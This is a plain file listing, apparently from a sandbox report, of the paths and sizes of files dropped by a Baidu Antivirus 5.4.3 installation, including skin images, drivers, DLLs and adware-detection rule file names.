%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_blue_arrow_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\setting_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\vr.dat (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\GuideSlice_6.png (96 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavR3Base64.sys (62 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\LockList\skin\dottedline.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1070.IMVUToolbar.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\update_pop_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\lineH.png (995 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\nsc.ini (370 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1254.xfinity.rul (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\logo.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\setting_btn_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\free.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHipsEx.sys (138 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_download.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\checkbox_sound_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_8_slice_browser_secure.png (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\sysbutton\TopBtnMore.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin\unloadInvestigateTitle.png (24 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bnmon.sys (84 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavhm.exe (1728 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\language.ini (60 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\point_un.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin\unloadInvestigateTitle_cry.png (22 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\blue_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\statusIconLight.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Download\res\skin.xml (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\MixiDJ.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\combobox_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_safe.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\ieprotect\skin\setbtn_off_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\main_tab_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\ProcessCustomScan.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin.xml (28 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\pop_bk_noline.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon\icon_rejected.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\green_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\rcs.dat (106 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\feedback\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\IPlug_Hips\IPlug_Hips.dll (312 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\free.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1150.DealSlider.rul (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\SecurityCode\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_alert.bmp (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\hp_green_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_complete_big.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\aboutus\about_us_logo.png (23 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\version.xml (292 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bfmon64.sys (38 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\InstallerRF (17083 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\scan_arrow_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin.xml (135 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\setting_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bnbasex64.sys (62 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUpdater\skin\en_reboot_title.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\DeleteOldInstallFile.exe (68 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin.xml (38 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\summary_top_safe_text.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\ProcessFullScan.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1231.babylon.rul (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bavqu.dll (7386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin\investigate_op_layout4_bg.png (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\onBtnNormal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUp.dll (313 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\Font\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin\black_pop_detected.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488\detailDef.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\pop_bk.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1153.TubeDimmer.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bprotect64.sys (169 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\feedback.png (52 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\scan_arrow_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_update.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1130.PhotoJoyBar.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavVM.dll (1653 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin\dl_safe_s.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox\checkox_unsel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\checkbox\check_sound_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bfmon.sys (31 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\arrow_left_hover.png (208 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\orange_btn_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\orange_btn_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1097.NCH FRToolbar.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin.xml (90 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\main_tab_scan_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\summary_top_safe_custom.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavPluginRemove\skin.xml (65 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavCns.dll (1803 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\listBg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\ieprotect\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_big_logo.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\iconUnlock.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\ep.dat (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\popbaseblueF_op.bmp (205 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin\black_pop_detected.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin\dl_scanning.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_redfocus.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\green_disable.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\CouponDropDown.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\new.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\tip_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\ieprotect\skin\setbtn_off_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Quarantine\res\skin.xml (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsCfg.dll (1846 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\bubble_set_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\scrollbar\scroll2.bmp (36 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\ieprotect\skin\safeicon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\netshop_bg_green.png (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_mutilext.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\settingsN.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BNetOp.dll (1651 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\guide_main_layout9_slice.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\scrollbarBg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\blue_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\green_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\checkbox\uncheck_sound_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\log_files.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\button_min_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1239.fileconverter.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1260.snt.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\settingsH.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\menu_button_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\popup1.arrow.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\onBtnHover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1068.AppBario2.rul (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\ProcessRightmenuScan.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_float.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\logoTitle.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\disableInBlue.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1048.MixiDjV30.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin\black_pop_suessfully.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin\unloadInvestigateTitle_cry.png (31 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\guide_main_layout9_slice.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\protect_icon_full.png (79 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\menu\menu_item_seperator.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\tab_hover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\main_logo.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\sc.dat (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\main_title_safe.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1099.SearchDeals.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1094.BittorrentBar_DEToolbar.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin\mainFrame_investigate_mini_layout1_slice.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Trust\res\skin\icon_rejected.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\Yontoo.rul (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\fullscan_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\guide_welcome.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\bubble_set_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\arrow_btn_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1255.pupnukeit.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1049.SocialSearchBar.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\big_green_hover_inwhite.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\ieprotect\skin\lockOpen.png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\focus_all.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstallUtility.dll (34023 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUpdater\skin\en_reboot_title.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\button_min_down.png (191 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\bsr_info.ini (119 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\ieprotect\skin\setbtn_on_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bhbase.sys (74 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\orange_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1062.OnlineRadioPlayerRecorderToolbar.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_doing.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1101.VAFMusic.rul (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin\investigate_op_layout4_bg.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin.xml (82 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1217.CouponSamurai.rul (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\arrow_left_normal.png (208 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\context\context.ini (458 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bdark64.sys (601 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\main_tab_tools_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\main_title_unprotected.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Quarantine\res\skin\qua_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\topline.png (235 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin\unloadInvestigateTitle.png (31 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list\checkbox_unsel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\ProcessQuickScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\ProcessFullScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\ProcessCustomScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin.xml (70 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\9FB78DD8-8083-4d5b-86FA-7C9AE2B224E0\icon3N.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin.xml (57 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1163.BubbleDock.rul (39 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\hips_adblock_icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\ieprotect\skin\setbtn_off_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin\mainFrame_investigate_mini_layout3_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dark.dll (1281 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\summary_top_safe_custom.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\fb_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\arrow_btn_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin.xml (138 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\green_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\blue_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\ieprotect_logo.png (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\blueBtn.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\installLogoTitle.png (43 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_general_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list\checkbox_sel_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\PCAppStore_Setup_bav.exe (7972 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\line2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_general_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1106.GetSavin.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\button_close_over.png (316 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\firsttips\tips_bg2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin\mainFrame_investigate_mini_layout3_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin\unloadInvestigateTitle.png (29 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_orange_arrow_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\GiantSavings.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_on_over.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1124.MagicDesktopENToolbar.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox\checkbox_sel_hot.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1057.txt (45 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_black3.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox\checkbox_disable_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\icon_failed.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\main_title_noprocess.png (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\privacy_cover.png (21 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\onBtnHover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1115.Qwiklinx.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1138.MapsBar.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BdApiUtil64.sys (116 bytes)
